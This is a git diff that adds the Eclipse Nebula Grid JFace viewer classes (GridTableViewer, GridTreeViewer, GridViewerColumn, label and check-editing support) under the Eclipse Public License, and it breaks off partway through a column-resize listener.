org.eclipse.nebula.widgets.grid + 1.0.0-SNAPSHOT + eclipse-plugin + diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/CheckEditingSupport.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/CheckEditingSupport.java new file mode 100644 index 0000000..c072ae3 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/CheckEditingSupport.java @@ -0,0 +1,53 @@ +/******************************************************************************* + * Copyright (c) 2007 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + *******************************************************************************/ + +package org.eclipse.nebula.jface.gridviewer; + +import org.eclipse.jface.viewers.CellEditor; +import org.eclipse.jface.viewers.ColumnViewer; +import org.eclipse.jface.viewers.EditingSupport; + +/** + * . + */ +public abstract class CheckEditingSupport extends EditingSupport +{ + /** + * Checkbox editing support. + * + * @param viewer column to add check box support for. + */ + public CheckEditingSupport(ColumnViewer viewer) + { + super(viewer); + } + + /** {@inheritDoc} */ + protected boolean canEdit(Object element) + { + return false; + } + + /** {@inheritDoc} */ + protected CellEditor getCellEditor(Object element) + { + return null; + } + + /** {@inheritDoc} */ + protected Object getValue(Object element) + { + return null; + } + + /** {@inheritDoc} */ + public abstract void setValue(Object element, Object value); +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/GridColumnLabelProvider.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/GridColumnLabelProvider.java new file mode 100644 index 0000000..a95fbfe --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/GridColumnLabelProvider.java @@ -0,0 +1,88 @@ +/******************************************************************************* + * Copyright (c) 2007 Tom Schindl and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * Tom Schindl - initial API and implementation + * Claes Rosell - rowspan in bug 272384 + *******************************************************************************/ + +package org.eclipse.nebula.jface.gridviewer; + +import org.eclipse.jface.viewers.ColumnLabelProvider; +import org.eclipse.jface.viewers.ViewerCell; +import org.eclipse.nebula.widgets.grid.Grid; +import org.eclipse.nebula.widgets.grid.GridItem; + +/** + * A label provider that provides hooks for extra functionality in the {@link Grid}. This is currently + * limited to supplying the row header text. + *

    + * Only one from all {@link GridColumnLabelProvider} in a viewer should + * return a none null + *

    + */ +public class GridColumnLabelProvider extends ColumnLabelProvider { + + /** + * Returns the row header text for this element. + * + * @param element + * the model element + * @return the text displayed in the row-header or null if + * this label provider would not like to modify the default text + */ + public String getRowHeaderText(Object element) { + return null; + } + + /** + * Returns the number of columns this element should span + * + * @param element + * the model element + * @return colSpan + */ + public int getColumnSpan(Object element) + { + return 0; + } + + /** + * Returns the number of rows this element should span + * + * @param element + * the model element + * @return rowSpan + */ + public int getRowSpan(Object element) + { + return 0; + } + + + /** + * {@inheritDoc} + */ + public void update(ViewerCell cell) { + super.update(cell); + + Object element = cell.getElement(); + + String rowText = getRowHeaderText(element); + int colSpan = getColumnSpan(element); + int rowSpan = getRowSpan(element); + + GridItem gridItem = (GridItem)cell.getViewerRow().getItem(); + if (rowText != null) { + gridItem.setHeaderText(rowText); + } + + gridItem.setColumnSpan(cell.getColumnIndex(), colSpan); + gridItem.setRowSpan(cell.getColumnIndex(), rowSpan); + } + +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/GridTableViewer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/GridTableViewer.java new file mode 100644 index 0000000..894094c --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/GridTableViewer.java @@ -0,0 +1,494 @@ +/******************************************************************************* + * Copyright (c) 2007 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * rmcamara@us.ibm.com - initial API and implementation + * tom.schindl@bestsolution.at - various significant contributions + *******************************************************************************/ + +package org.eclipse.nebula.jface.gridviewer; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Comparator; +import java.util.Iterator; +import java.util.List; + +import org.eclipse.jface.viewers.AbstractTableViewer; +import org.eclipse.jface.viewers.CellLabelProvider; +import org.eclipse.jface.viewers.ColumnViewerEditor; +import org.eclipse.jface.viewers.ColumnViewerEditorActivationEvent; +import org.eclipse.jface.viewers.ColumnViewerEditorActivationStrategy; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.ViewerCell; +import org.eclipse.jface.viewers.ViewerRow; +import org.eclipse.nebula.jface.gridviewer.internal.CellSelection; +import org.eclipse.nebula.jface.gridviewer.internal.SelectionWithFocusRow; +import org.eclipse.nebula.widgets.grid.Grid; +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Item; +import org.eclipse.swt.widgets.Widget; + +/** + * A concrete viewer based on an Grid control. + *

    + * This class is not intended to be subclassed outside the viewer framework. It + * is designed to be instantiated with a pre-existing Grid control and + * configured with a domain-specific content provider, label provider, element + * filter (optional), and element sorter (optional). + *

    + * Content providers for grid table viewers must not implement the {@code + * ITreeContentProvider} interface. Instead a {@link GridTreeViewer} should be + * used. + *

    + */ +public class GridTableViewer extends AbstractTableViewer { + /** This viewer's grid control. */ + private Grid grid; + + private GridViewerRow cachedRow; + + private CellLabelProvider rowHeaderLabelProvider; + + /** + * If true, this grid viewer will ensure that the grid's rows / GridItems + * are always sized to their preferred height. + */ + private boolean autoPreferredHeight = false; + + /** + * Creates a grid viewer on a newly-created grid control under the given + * parent. The grid control is created using the SWT style bits + * MULTI, H_SCROLL, V_SCROLL, and BORDER. The + * viewer has no input, no content provider, a default label provider, no + * sorter, and no filters. + * + * @param parent + * the parent control + */ + public GridTableViewer(Composite parent) { + this(parent, SWT.MULTI | SWT.H_SCROLL | SWT.V_SCROLL | SWT.BORDER); + } + + /** + * Creates a grid viewer on a newly-created grid control under the given + * parent. The grid control is created using the given SWT style bits. The + * viewer has no input, no content provider, a default label provider, no + * sorter, and no filters. + * + * @param parent + * the parent control + * @param style + * the SWT style bits used to create the grid. + */ + public GridTableViewer(Composite parent, int style) { + this(new Grid(parent, style)); + } + + /** + * Creates a grid viewer on the given grid control. The viewer has no input, + * no content provider, a default label provider, no sorter, and no filters. + * + * @param grid + * the grid control + */ + public GridTableViewer(Grid grid) { + this.grid = grid; + hookControl(grid); + } + + /** + * Returns the underlying Grid Control. + * + * @return grid control. + */ + public Grid getGrid() { + return grid; + } + + /** {@inheritDoc} */ + protected ViewerRow internalCreateNewRowPart(int style, int rowIndex) { + GridItem item; + + if (rowIndex >= 0) { + item = new GridItem(grid, style, rowIndex); + } else { + item = new GridItem(grid, style); + } + + return getViewerRowFromItem(item); + } + + /** {@inheritDoc} */ + protected ColumnViewerEditor createViewerEditor() { + return new GridViewerEditor(this, + new ColumnViewerEditorActivationStrategy(this), + ColumnViewerEditor.DEFAULT); + } + + /** {@inheritDoc} */ + protected void doClear(int index) { + // TODO Fix when grid supports virtual + } + + /** {@inheritDoc} */ + protected void doClearAll() { + // TODO Fix when grid supports virtual + } + + /** {@inheritDoc} */ + protected void doSetItemCount(int count) { + // TODO Once grid supports virtual + } + + /** {@inheritDoc} */ + protected void doDeselectAll() { + grid.deselectAll(); + } + + /** {@inheritDoc} */ + protected Widget doGetColumn(int index) { + return grid.getColumn(index); + } + + /** {@inheritDoc} */ + protected int doGetColumnCount() { + return grid.getColumnCount(); + } + + /** {@inheritDoc} */ + protected Item doGetItem(int index) { + return grid.getItem(index); + } + + /** {@inheritDoc} */ + protected int doGetItemCount() { + return grid.getItemCount(); + } + + /** {@inheritDoc} */ + protected Item[] doGetItems() { + return grid.getItems(); + } + + /** {@inheritDoc} */ + protected Item[] doGetSelection() { + return grid.getSelection(); + } + + /** {@inheritDoc} */ + protected int[] doGetSelectionIndices() { + return grid.getSelectionIndices(); + } + + /** {@inheritDoc} */ + protected int doIndexOf(Item item) { + return grid.indexOf((GridItem) item); + } + + /** {@inheritDoc} */ + protected void doRemove(int[] indices) { + grid.remove(indices); + } + + /** {@inheritDoc} */ + protected void doRemove(int start, int end) { + grid.remove(start, end); + } + + /** {@inheritDoc} */ + protected void doRemoveAll() { + grid.removeAll(); + } + + /** {@inheritDoc} */ + protected void doSetSelection(Item[] items) { + GridItem[] items2 = new GridItem[items.length]; + for (int i = 0; i < items.length; i++) { + items2[i] = (GridItem) items[i]; + } + grid.setSelection(items2); + grid.showSelection(); + } + + /** {@inheritDoc} */ + protected void doSetSelection(int[] indices) { + grid.setSelection(indices); + } + + /** {@inheritDoc} */ + protected void doShowItem(Item item) { + grid.showItem((GridItem) item); + } + + /** {@inheritDoc} */ + protected void doShowSelection() { + grid.showSelection(); + } + + /** {@inheritDoc} */ + protected Item getItemAt(Point point) { + return grid.getItem(point); + } + + /** {@inheritDoc} */ + public Control getControl() { + return grid; + } + + /** {@inheritDoc} */ + protected ViewerRow getViewerRowFromItem(Widget item) { + if (cachedRow == null) { + cachedRow = new GridViewerRow((GridItem) item); + } else { + cachedRow.setItem((GridItem) item); + } + + return cachedRow; + } + + /** + * {@inheritDoc} + */ + protected void doResetItem(Item item) { + GridItem gridItem = (GridItem) item; + int columnCount = Math.max(1, grid.getColumnCount()); + for (int i = 0; i < columnCount; i++) { + gridItem.setText(i, ""); //$NON-NLS-1$ + gridItem.setImage(null); + } + } + + /** + * {@inheritDoc} + */ + protected void doSelect(int[] indices) { + grid.select(indices); + } + + /** + * When set to true, this grid viewer will ensure that each of the grid's + * items is always automatically sized to its preferred height. The default + * is false. + *

    + * Since this mechanism usually leads to a grid with rows of different + * heights and thus to a grid with decreased performance, it should only be + * applied if that is intended. To set the height of all items to a specific + * value, use {@link Grid#setItemHeight(int)} instead. + *

    + * When a column with activated word wrapping is resized by dragging the + * column resizer, the items are only auto-resized properly if you use + * {@link GridViewerColumn} to create the columns. + *

    + * When this method is called, existing rows are not resized to their + * preferred height. Therefore it is suggested that this method be called + * before rows are populated (i.e. before setInput). + */ + public void setAutoPreferredHeight(boolean autoPreferredHeight) { + this.autoPreferredHeight = autoPreferredHeight; + } + + /** + * @return true if this grid viewer sizes its rows to their preferred height + * @see #setAutoPreferredHeight(boolean) + */ + public boolean getAutoPreferredHeight() { + return autoPreferredHeight; + } + + /** {@inheritDoc} */ + protected void doUpdateItem(Widget widget, Object element, boolean fullMap) { + super.doUpdateItem(widget, element, fullMap); + updateRowHeader(widget); + if (autoPreferredHeight && !widget.isDisposed()) + ((GridItem) widget).pack(); + } + + private void updateRowHeader(Widget widget) { + if (rowHeaderLabelProvider != null) { + ViewerCell cell = getViewerRowFromItem(widget).getCell( + Integer.MAX_VALUE); + rowHeaderLabelProvider.update(cell); + } + } + + /** + * Label provider used by calculate the row header text + * + * @param rowHeaderLabelProvider + * the provider + */ + public void setRowHeaderLabelProvider( + CellLabelProvider rowHeaderLabelProvider) { + this.rowHeaderLabelProvider = rowHeaderLabelProvider; + } + + /** + * Refresh row headers only + * + * @param element + * the element to start or null if all rows should + * be refreshed + */ + public void refreshRowHeaders(Object element) { + boolean refresh = element == null; + + GridItem[] items = getGrid().getItems(); + for (int i = 0; i < items.length; i++) { + if (refresh || element.equals(items[i].getData())) { + refresh = true; + updateRowHeader(items[i]); + } + } + } + + /** + * {@inheritDoc} + */ + public void editElement(Object element, int column) { + try { + getControl().setRedraw(false); + Widget item = findItem(element); + if (item != null) { + ViewerRow row = getViewerRowFromItem(item); + if (row != null) { + ViewerCell cell = row.getCell(column); + if (cell != null) { + triggerEditorActivationEvent(new ColumnViewerEditorActivationEvent( + cell)); + } + } + } + } finally { + getControl().setRedraw(true); + } + // } + } + + /** + * {@inheritDoc} + */ + protected void setSelectionToWidget(ISelection selection, boolean reveal) { + if( ! grid.isCellSelectionEnabled() || !(selection instanceof CellSelection) ) { + super.setSelectionToWidget(selection, reveal); + if( selection instanceof SelectionWithFocusRow ) { + Object el = ((SelectionWithFocusRow)selection).getFocusElement(); + if( el != null ) { + GridItem[] items = grid.getItems(); + for( int i = 0; i < items.length; i++) { + GridItem item = items[i]; + if( item.getData() == el || item.getData().equals(el) || (getComparer() != null && getComparer().equals(item.getData(), el)) ) { + grid.setFocusItem(item); + break; + } + } + } + } + } else { + CellSelection cellSelection = (CellSelection) selection; + List l = cellSelection.toList(); + GridItem[] items = grid.getItems(); + ArrayList pts = new ArrayList(); + + for( int i = 0; i < items.length; i++ ) { + Iterator it = l.iterator(); + Object itemObject = items[i].getData(); + while( it.hasNext() ) { + Object checkObject = it.next(); + if( itemObject == checkObject || (getComparer() != null && getComparer().equals(itemObject, checkObject) ) ) { + Iterator idxIt = cellSelection.getIndices(checkObject).iterator(); + while( idxIt.hasNext() ) { + Integer idx = (Integer) idxIt.next(); + pts.add(new Point(idx.intValue(),i)); + } + } + } + } + Point[] tmp = new Point[pts.size()]; + pts.toArray(tmp); + grid.setCellSelection(tmp); + if( cellSelection.getFocusElement() != null ) { + Object el = cellSelection.getFocusElement(); + for( int i = 0; i < items.length; i++) { + GridItem item = items[i]; + if( item.getData() == el || item.getData().equals(el) || (getComparer() != null && getComparer().equals(item.getData(), el)) ) { + grid.setFocusItem(item); + break; + } + } + } + } + } + + /** + * {@inheritDoc} + */ + public ISelection getSelection() { + if (!grid.isCellSelectionEnabled()) { + IStructuredSelection selection = (IStructuredSelection) super + .getSelection(); + Object el = null; + if (grid.getFocusItem() != null) { + el = grid.getFocusItem().getData(); + } + return new SelectionWithFocusRow(selection.toList(), el, + getComparer()); + } else { + return createCellSelection(); + } + } + + private CellSelection createCellSelection() { + Point[] ps = grid.getCellSelection(); + Arrays.sort(ps, new Comparator() { + + public int compare(Object arg0, Object arg1) { + Point a = (Point) arg0; + Point b = (Point) arg1; + int rv = a.y - b.y; + + if (rv == 0) { + rv = a.x - b.x; + } + + return rv; + } + }); + + ArrayList objectList = new ArrayList(); + ArrayList indiceLists = new ArrayList(); + ArrayList indiceList = new ArrayList(); + + int curLine = -1; + + for (int i = 0; i < ps.length; i++) { + if (curLine != ps[i].y) { + curLine = ps[i].y; + indiceList = new ArrayList(); + + indiceLists.add(indiceList); + objectList.add(grid.getItem(curLine).getData()); + } + indiceList.add(new Integer(ps[i].x)); + } + + Object focusElement = null; + + if (grid.getFocusItem() != null) { + focusElement = grid.getFocusItem().getData(); + } + + return new CellSelection(objectList, indiceLists, focusElement, + getComparer()); + } +} \ No newline at end of file diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/GridTreeViewer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/GridTreeViewer.java new file mode 100644 index 0000000..2727218 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/GridTreeViewer.java @@ -0,0 +1,413 @@ +/******************************************************************************* + * Copyright (c) 2007 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * Michael Houston - initial API and implementation + * Tom Schindl - bug fix in: 191216 + *******************************************************************************/ +package org.eclipse.nebula.jface.gridviewer; + +import java.util.Arrays; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; + +import org.eclipse.jface.viewers.AbstractTreeViewer; +import org.eclipse.jface.viewers.CellLabelProvider; +import org.eclipse.jface.viewers.ColumnViewerEditor; +import org.eclipse.jface.viewers.ColumnViewerEditorActivationStrategy; +import org.eclipse.jface.viewers.ITreeContentProvider; +import org.eclipse.jface.viewers.TreePath; +import org.eclipse.jface.viewers.TreeSelection; +import org.eclipse.jface.viewers.ViewerCell; +import org.eclipse.jface.viewers.ViewerRow; +import org.eclipse.nebula.widgets.grid.Grid; +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.TreeListener; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Item; +import org.eclipse.swt.widgets.Tree; +import org.eclipse.swt.widgets.TreeItem; +import org.eclipse.swt.widgets.Widget; + +/** + * A concrete viewer based on an Grid control. + *

    + * This class is not intended to be subclassed outside the viewer framework. It + * is designed to be instantiated with a pre-existing Grid control and + * configured with a domain-specific content provider, label provider, element + * filter (optional), and element sorter (optional). + *

    + * Content providers for grid tree viewers must implement the + * {@link ITreeContentProvider} interface. + *

    The current implementation does not support lazy content providers.

    + */ +public class GridTreeViewer extends AbstractTreeViewer { + + /** This viewer's grid control. */ + private Grid grid; + + private GridViewerRow cachedRow; + + /** + * If true, this grid viewer will ensure that the grid's + * rows / GridItems are always sized to their preferred height. + */ + private boolean autoPreferredHeight = false; + + private CellLabelProvider rowHeaderLabelProvider; + + + /** + * Creates a grid tree viewer on a newly-created grid control under the given + * parent. The grid control is created using the SWT style bits + * MULTI, H_SCROLL, V_SCROLL, and BORDER. The + * viewer has no input, no content provider, a default label provider, no + * sorter, and no filters. + * + * @param parent + * the parent control + */ + public GridTreeViewer(Composite parent) { + this(parent, SWT.MULTI | SWT.H_SCROLL | SWT.V_SCROLL | SWT.BORDER); + } + + /** + * Creates a grid tree viewer on a newly-created grid control under the given + * parent. The grid control is created using the given SWT style bits. The + * viewer has no input, no content provider, a default label provider, no + * sorter, and no filters. + * + * @param parent + * the parent control + * @param style + * the SWT style bits used to create the grid. + */ + public GridTreeViewer(Composite parent, int style) { + this(new Grid(parent, style)); + } + + /** + * Creates a grid tree viewer on the given grid control. The viewer has no + * input, no content provider, a default label provider, no sorter, and no + * filters. + * + * @param grid + * the grid control + */ + public GridTreeViewer(Grid grid) { + this.grid = grid; + hookControl(grid); + } + + /** + * Returns the underlying {@link Grid} Control. + * + * @return grid control. + */ + public Grid getGrid() { + return grid; + } + + /** {@inheritDoc} */ + protected Item getItemAt(Point point) { + return grid.getItem(point); + } + + /** {@inheritDoc} */ + protected ColumnViewerEditor createViewerEditor() { + return new GridViewerEditor(this, + new ColumnViewerEditorActivationStrategy(this), + ColumnViewerEditor.DEFAULT); + } + + /** {@inheritDoc} */ + protected void addTreeListener(Control control, TreeListener listener) { + ((Grid) control).addTreeListener(listener); + } + + /** {@inheritDoc} */ + protected Item[] getChildren(Widget o) { + if (o instanceof GridItem) { + return ((GridItem) o).getItems(); + } + if (o instanceof Grid) { + return ((Grid) o).getRootItems(); + } + return null; + } + + /** {@inheritDoc} */ + protected boolean getExpanded(Item item) { + return ((GridItem) item).isExpanded(); + } + + /** {@inheritDoc} */ + protected int getItemCount(Control control) { + return ((Grid) control).getItemCount(); + } + + /** {@inheritDoc} */ + protected int getItemCount(Item item) { + return ((GridItem) item).getItemCount(); + } + + /** {@inheritDoc} */ + protected Item[] getItems(Item item) { + return ((GridItem) item).getItems(); + } + + /** {@inheritDoc} */ + protected Item getParentItem(Item item) { + return ((GridItem) item).getParentItem(); + } + + /** {@inheritDoc} */ + protected Item[] getSelection(Control control) { + return ((Grid) control).getSelection(); + } + + /** {@inheritDoc} */ + protected Item newItem(Widget parent, int style, int index) { + GridItem item; + + if (parent instanceof GridItem) { + item = (GridItem) createNewRowPart(getViewerRowFromItem(parent), + style, index).getItem(); + } else { + item = (GridItem) createNewRowPart(null, style, index).getItem(); + } + + return item; + } + + /** + * Create a new ViewerRow at rowIndex + * + * @param parent + * the parent row + * @param style + * the style bits to use for the new row + * @param rowIndex + * the index at which the new row should be created under the parent + * @return ViewerRow + * the new row + */ + private ViewerRow createNewRowPart(ViewerRow parent, int style, int rowIndex) { + if (parent == null) { + if (rowIndex >= 0) { + return getViewerRowFromItem(new GridItem(grid, style, rowIndex)); + } + return getViewerRowFromItem(new GridItem(grid, style)); + } + + if (rowIndex >= 0) { + return getViewerRowFromItem(new GridItem((GridItem) parent + .getItem(), SWT.NONE, rowIndex)); + } + + return getViewerRowFromItem(new GridItem((GridItem) parent.getItem(), + SWT.NONE)); + } + + /** {@inheritDoc} */ + protected void removeAll(Control control) { + ((Grid) control).removeAll(); + } + + /** {@inheritDoc} */ + protected void setExpanded(Item item, boolean expand) { + ((GridItem) item).setExpanded(expand); + } + + /** {@inheritDoc} */ + protected void setSelection(List items) { + Item[] current = getSelection(getGrid()); + + // Don't bother resetting the same selection + if (isSameSelection(items, current)) { + return; + } + + GridItem[] newItems = new GridItem[items.size()]; + items.toArray(newItems); + getGrid().setSelection(newItems); + getGrid().showSelection(); + } + + /** {@inheritDoc} */ + protected void showItem(Item item) { + getGrid().showItem((GridItem) item); + + } + + /** {@inheritDoc} */ + public Control getControl() { + return getGrid(); + } + + /** {@inheritDoc} */ + protected ViewerRow getViewerRowFromItem(Widget item) { + if (cachedRow == null) { + cachedRow = new GridViewerRow((GridItem) item); + } else { + cachedRow.setItem((GridItem) item); + } + + return cachedRow; + } + + /** {@inheritDoc} */ + protected Widget getColumnViewerOwner(int columnIndex) { + if (columnIndex < 0 + || (columnIndex > 0 && columnIndex >= getGrid() + .getColumnCount())) { + return null; + } + + if (getGrid().getColumnCount() == 0)// Hang it off the table if it + return getGrid(); + + return getGrid().getColumn(columnIndex); + } + + /** + * Returns the number of columns of this viewer. + * + * @return the number of columns + */ + protected int doGetColumnCount() { + return grid.getColumnCount(); + } + + /** + * When set to true, this grid viewer will ensure that each of + * the grid's items is always automatically sized to its preferred + * height. The default is false. + *

    + * Since this mechanism usually leads to a grid with rows of + * different heights and thus to a grid with decreased performance, + * it should only be applied if that is intended. To set the + * height of all items to a specific value, use {@link Grid#setItemHeight(int)} + * instead. + *

    + * When a column with activated word wrapping is resized + * by dragging the column resizer, the items are only auto-resized + * properly if you use {@link GridViewerColumn} to create the + * columns. + *

    + * When this method is called, existing rows are not resized to their + * preferred height. Therefore it is suggested that this method be called + * before rows are populated (i.e. before setInput). + */ + public void setAutoPreferredHeight(boolean autoPreferredHeight) { + this.autoPreferredHeight = autoPreferredHeight; + } + + /** + * @return true if this grid viewer sizes its rows to their + * preferred height + * @see #setAutoPreferredHeight(boolean) + */ + public boolean getAutoPreferredHeight() { + return autoPreferredHeight; + } + + /** {@inheritDoc} */ + protected void doUpdateItem(final Item item, Object element) { + super.doUpdateItem(item, element); + updateRowHeader(item); + if(autoPreferredHeight && !item.isDisposed()) + ((GridItem)item).pack(); + } + + /** + * Removes the element at the specified index of the parent. The selection is updated if required. + * + * @param parentOrTreePath the parent element, the input element, or a tree path to the parent element + * @param index child index + * @since 3.3 + */ + public void remove(final Object parentOrTreePath, final int index) { + if (checkBusy()) + return; + final List oldSelection = new LinkedList(Arrays + .asList(((TreeSelection) getSelection()).getPaths())); + preservingSelection(new Runnable() { + public void run() { + TreePath removedPath = null; + if (internalIsInputOrEmptyPath(parentOrTreePath)) { + Tree tree = (Tree) getControl(); + if (index < tree.getItemCount()) { + TreeItem item = tree.getItem(index); + if (item.getData() != null) { + removedPath = getTreePathFromItem(item); + disassociate(item); + } + item.dispose(); + } + } else { + Widget[] parentItems = internalFindItems(parentOrTreePath); + for (int i = 0; i < parentItems.length; i++) { + TreeItem parentItem = (TreeItem) parentItems[i]; + if (parentItem.isDisposed()) + continue; + if (index < parentItem.getItemCount()) { + TreeItem item = parentItem.getItem(index); + if (item.getData() != null) { + removedPath = getTreePathFromItem(item); + disassociate(item); + } + item.dispose(); + } + } + } + if (removedPath != null) { + boolean removed = false; + for (Iterator it = oldSelection.iterator(); it + .hasNext();) { + TreePath path = (TreePath) it.next(); + if (path.startsWith(removedPath, getComparer())) { + it.remove(); + removed = true; + } + } + if (removed) { + setSelection(new TreeSelection( + (TreePath[]) oldSelection + .toArray(new TreePath[oldSelection + .size()]), getComparer()), + false); + } + + } + } + }); + } + + /** + * Label provider used by calculate the row header text + * + * @param rowHeaderLabelProvider + * the provider + */ + public void setRowHeaderLabelProvider( + CellLabelProvider rowHeaderLabelProvider) { + this.rowHeaderLabelProvider = rowHeaderLabelProvider; + } + + private void updateRowHeader(Widget widget) { + if (rowHeaderLabelProvider != null) { + ViewerCell cell = getViewerRowFromItem(widget).getCell( + Integer.MAX_VALUE); + rowHeaderLabelProvider.update(cell); + } + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/GridViewerColumn.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/GridViewerColumn.java new file mode 100644 index 0000000..3c7c668 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/jface/gridviewer/GridViewerColumn.java @@ -0,0 +1,230 @@ +/******************************************************************************* + * Copyright (c) 2007 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * rmcamara@us.ibm.com - initial API and implementation + * Tom Schindl - various significant contributions + * Mark-Oliver Reiser - support for differing row heights ; fix in bug 191216 + *******************************************************************************/ + +package org.eclipse.nebula.jface.gridviewer; + +import org.eclipse.jface.viewers.ColumnViewer; +import org.eclipse.jface.viewers.EditingSupport; +import org.eclipse.jface.viewers.ViewerColumn; +import org.eclipse.nebula.widgets.grid.Grid; +import org.eclipse.nebula.widgets.grid.GridColumn; +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; + +/** + * The concrete implementation of the ColumnViewer for the grid. + */ +public final class GridViewerColumn extends ViewerColumn +{ + /** This is either a GridTableViewer or a GridTreeViewer. */ + private ColumnViewer viewer; + + /** The concrete grid column that is being represented by the {@code ViewerColumn}.*/ + private GridColumn column; + + /** Editor support for handling check events. */ + private CheckEditingSupport checkEditingSupport; + + /** Listener used to get informed when the colum resizes */ + protected Listener columnResizeListener = null; + + + /** + * Create a new column in the {@link GridTableViewer} + * + * @param viewer + * the viewer the column belongs to + * @param style + * the style used to create the column for style bits see + * {@link GridColumn} + * @see GridColumn#GridColumn(Grid, int) + */ + public GridViewerColumn(GridTableViewer viewer, int style) + { + this(viewer, style, -1); + } + + /** + * Create a new column in the {@link GridTreeViewer} + * + * @param viewer + * the viewer the column belongs to + * @param style + * the style used to create the column for style bits see + * {@link GridColumn} + * @see GridColumn#GridColumn(Grid, int) + */ + public GridViewerColumn(GridTreeViewer viewer, int style) { + this(viewer, style, -1); + } + + /** + * Create a new column in the {@link GridTableViewer} + * + * @param viewer + * the viewer the column belongs to + * @param style + * the style used to create the column for style bits see + * {@link GridColumn} + * @param index + * the index of the newly created column + * @see GridColumn#GridColumn(Grid, int, int) + */ + public GridViewerColumn(GridTableViewer viewer, int style, int index) + { + this(viewer, createColumn((Grid) viewer.getControl(), style, index)); + } + + /** + * Create a new column in the {@link GridTreeViewer} + * + * @param viewer + * the viewer the column belongs to + * @param style + * the style used to create the column for style bits see + * {@link GridColumn} + * @param index + * the index of the newly created column + * @see GridColumn#GridColumn(Grid, int, int) + */ + public GridViewerColumn(GridTreeViewer viewer, int style, int index) + { + this(viewer, createColumn((Grid) viewer.getControl(), style, index)); + } + + /** + * + * @param viewer + * the viewer the column belongs to + * @param column + * the column the viewer is attached to + */ + public GridViewerColumn(GridTreeViewer viewer, GridColumn column) + { + this((ColumnViewer)viewer,column); + } + + /** + * + * @param viewer + * the viewer the column belongs to + * @param column + * the column the viewer is attached to + */ + public GridViewerColumn(GridTableViewer viewer, GridColumn column) + { + this((ColumnViewer)viewer,column); + } + + GridViewerColumn(ColumnViewer viewer, GridColumn column) { + super(viewer, column); + this.viewer = viewer; + this.column = column; + hookColumnResizeListener(); + } + + private static GridColumn createColumn(Grid table, int style, int index) + { + if (index >= 0) + { + return new GridColumn(table, style, index); + } + + return new GridColumn(table, style); + } + + /** + * Returns the underlying column. + * + * @return the underlying Nebula column + */ + public GridColumn getColumn() + { + return column; + } + + /** {@inheritDoc} */ + public void setEditingSupport(EditingSupport editingSupport) + { + if (editingSupport instanceof CheckEditingSupport) + { + if (checkEditingSupport == null) + { + final int colIndex = getColumn().getParent().indexOf(getColumn()); + + getColumn().getParent().addListener(SWT.Selection, new Listener() + { + public void handleEvent(Event event) + { + if (event.detail == SWT.CHECK && event.index == colIndex) + { + GridItem item = (GridItem)event.item; + Object element = item.getData(); + checkEditingSupport.setValue(element, new Boolean(item.getChecked(colIndex))); + } + } + }); + } + checkEditingSupport = (CheckEditingSupport)editingSupport; + } + else + { + super.setEditingSupport(editingSupport); + } + } + + + private void hookColumnResizeListener() { + if (columnResizeListener == null) + { + columnResizeListener = new Listener() { + public void handleEvent(Event event) + { + boolean autoPreferredSize=false; + if(viewer instanceof GridTableViewer) + autoPreferredSize = ((GridTableViewer)viewer).getAutoPreferredHeight(); + if(viewer instanceof GridTreeViewer) + autoPreferredSize = ((GridTreeViewer)viewer).getAutoPreferredHeight(); + + 